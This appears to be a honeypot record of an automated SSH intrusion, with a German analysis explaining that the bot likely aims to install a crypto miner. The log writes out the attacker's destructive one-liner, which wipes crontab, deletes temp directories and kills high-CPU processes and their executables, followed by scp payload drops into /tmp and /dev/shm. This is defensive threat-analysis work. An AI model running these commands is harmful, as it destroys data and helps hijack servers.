18.10.2026, 02:25 UTC · 51 Befehle · über ssh · Niederlande
user='5932' pass='pass' 5932@srv01:~$ uname -s -v -n -r -m Linux 4.19.0-25-amd64 #1 SMP Debian 4.19.302-1 (2021-07-16) fileserver x86_64 5932@srv01:~$ uname -m | awk '{printf $1}' x86_64 5932@srv01:~$ uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2" "$3 }' 391 days, 00:00 5932@srv01:~$ lspci | egrep VGA && lspci | grep 3D 00:02.0 VGA compatible controller: Intel Corporation Atom/Celeron/Pentium Processor x5-E8000/J3xxx/N3xxx Integrated Graphics Controller (rev 21) 5932@srv01:~$ lscpu | egrep "Model name:" | cut -d ' ' -f 14- Intel(R) Celeron(R) CPU J1900 @ 1.99GHz 5932@srv01:~$ curl ipinfo.io/org AS60751 5932@srv01:~$ nvidia-smi -q | grep "Product Name" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1 bash: nvidia-smi: command not found 5932@srv01:~$ nvidia-smi -q | grep "Product Name" bash: nvidia-smi: command not found 5932@srv01:~$ lspci | egrep VGA | grep Radeon | wc -l | head -c 1 0 5932@srv01:~$ uname -n | awk '{printf $1}' fileserver 5932@srv01:~$ uname -r | awk '{printf $1}' 4.19.0-25-amd64 5932@srv01:~$ crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; d… bash: cache: command not found 5932@srv01:~$ echo pass > /tmp/d.log 5932@srv01:~$ scp -qt "/var/tmp/SHJJLKxb" 5932@srv01:~$ scp -qt "/tmp/SHJJLKxb" 5932@srv01:~$ scp -qt "/dev/shm/SHJJLKxb" 5932@srv01:~$ uname -s -v -n -r -m Linux 4.19.0-25-amd64 #1 SMP Debian 4.19.302-1 (2021-07-16) fileserver x86_64 5932@srv01:~$ echo worker > /tmp/d.log 5932@srv01:~$ scp -qt "/var/tmp/aDWBMlbf" 5932@srv01:~$ scp -qt "/tmp/aDWBMlbf" 5932@srv01:~$ scp -qt "/dev/shm/aDWBMlbf" 5932@srv01:~$ uname -s -v -n -r -m Linux 4.19.0-25-amd64 #1 SMP Debian 4.19.302-1 (2021-07-16) fileserver x86_64 5932@srv01:~$ echo toor > /tmp/d.log 5932@srv01:~$ scp -qt "/var/tmp/mXiMxuQx" 5932@srv01:~$ scp -qt "/tmp/mXiMxuQx" 5932@srv01:~$ scp -qt "/dev/shm/mXiMxuQx" 5932@srv01:~$ uname -s -v -n -r -m Linux 4.19.0-25-amd64 #1 SMP Debian 4.19.302-1 (2021-07-16) fileserver x86_64 5932@srv01:~$ uname -s -v -n -r -m Linux 4.19.0-25-amd64 #1 SMP Debian 4.19.302-1 (2021-07-16) fileserver x86_64 5932@srv01:~$ echo 1234567890 > /tmp/d.log 5932@srv01:~$ scp -qt "/var/tmp/OyqOXqFk" 5932@srv01:~$ scp -qt "/tmp/OyqOXqFk" 5932@srv01:~$ echo 123123 > /tmp/d.log 5932@srv01:~$ scp -qt "/dev/shm/OyqOXqFk" 5932@srv01:~$ scp -qt "/var/tmp/cknvrWgy" 5932@srv01:~$ scp -qt "/tmp/cknvrWgy" 5932@srv01:~$ scp -qt "/dev/shm/cknvrWgy" 5932@srv01:~$ uname -s -v -n -r -m Linux 4.19.0-25-amd64 #1 SMP Debian 4.19.302-1 (2021-07-16) fileserver x86_64 5932@srv01:~$ echo Admin > /tmp/d.log 5932@srv01:~$ scp -qt "/var/tmp/jXSkfcmy"
Der Angreifer meldete sich mit schwachen Zugangsdaten über SSH an und führte eine Reihe von Systemabfragen durch, um Hardwarekomponenten wie Grafikkarten und Prozessoren zu identifizieren. Anschließend löschte er temporäre Dateien, beendete ressourcenintensive Prozesse und versuchte, mehrere Dateien in verschiedene Verzeichnisse zu kopieren. Die wiederholten Abfragen der Systeminformationen deuten auf ein automatisiertes Skript hin, das die Umgebung prüft, bevor es Nutzlasten ablegt.
Die Befehle uname, lscpu und lspci sammeln technische Daten über das Betriebssystem, die CPU und die Grafikkarte, um festzustellen, ob sich das System für Mining lohnt. Der Befehl crontab -r entfernt geplante Aufgaben, während rm -rf alte Dateien löscht, um Spuren zu verwischen. Die awk-Schleife identifiziert Prozesse mit hoher CPU-Auslastung und beendet diese gewaltsam, um Ressourcen freizumachen. Die scp-Befehle versuchen, Dateien in temporäre Verzeichnisse wie /tmp und /dev/shm zu übertragen, wobei die letzten Zeichenfolgen als Platzhalter oder Teil eines Upload-Prozesses wirken. Die echo-Befehle schreiben kurze Strings in eine Logdatei, vermutlich als Statusbericht oder Marker für das Bot-Skript.
Das Ziel ist sehr wahrscheinlich die Installation eines Kryptominers, da der Angreifer gezielt nach NVIDIA- und AMD-Grafikkarten sowie nach CPU-Modellen sucht. Das Löschen konkurrierender Prozesse und das Ablegen von Dateien in flüchtigen Speicherbereichen wie /dev/shm dient der Tarnung und Persistenz. Da keine explizite Mining-Software im Log sichtbar ist, bleibt die genaue Payload offen, aber das Muster ist typisch für automatisierte Mining-Bots.
Dieses Vorgehen ist ein Standardmuster für automatisierte Krypto-Mining-Bots, die weltweit nach verwundbaren SSH-Servern mit schwachen Passwörtern suchen. Die Kombination aus Hardware-Inspektion und Prozess-Kill ist charakteristisch für diese Art von Botnetzen.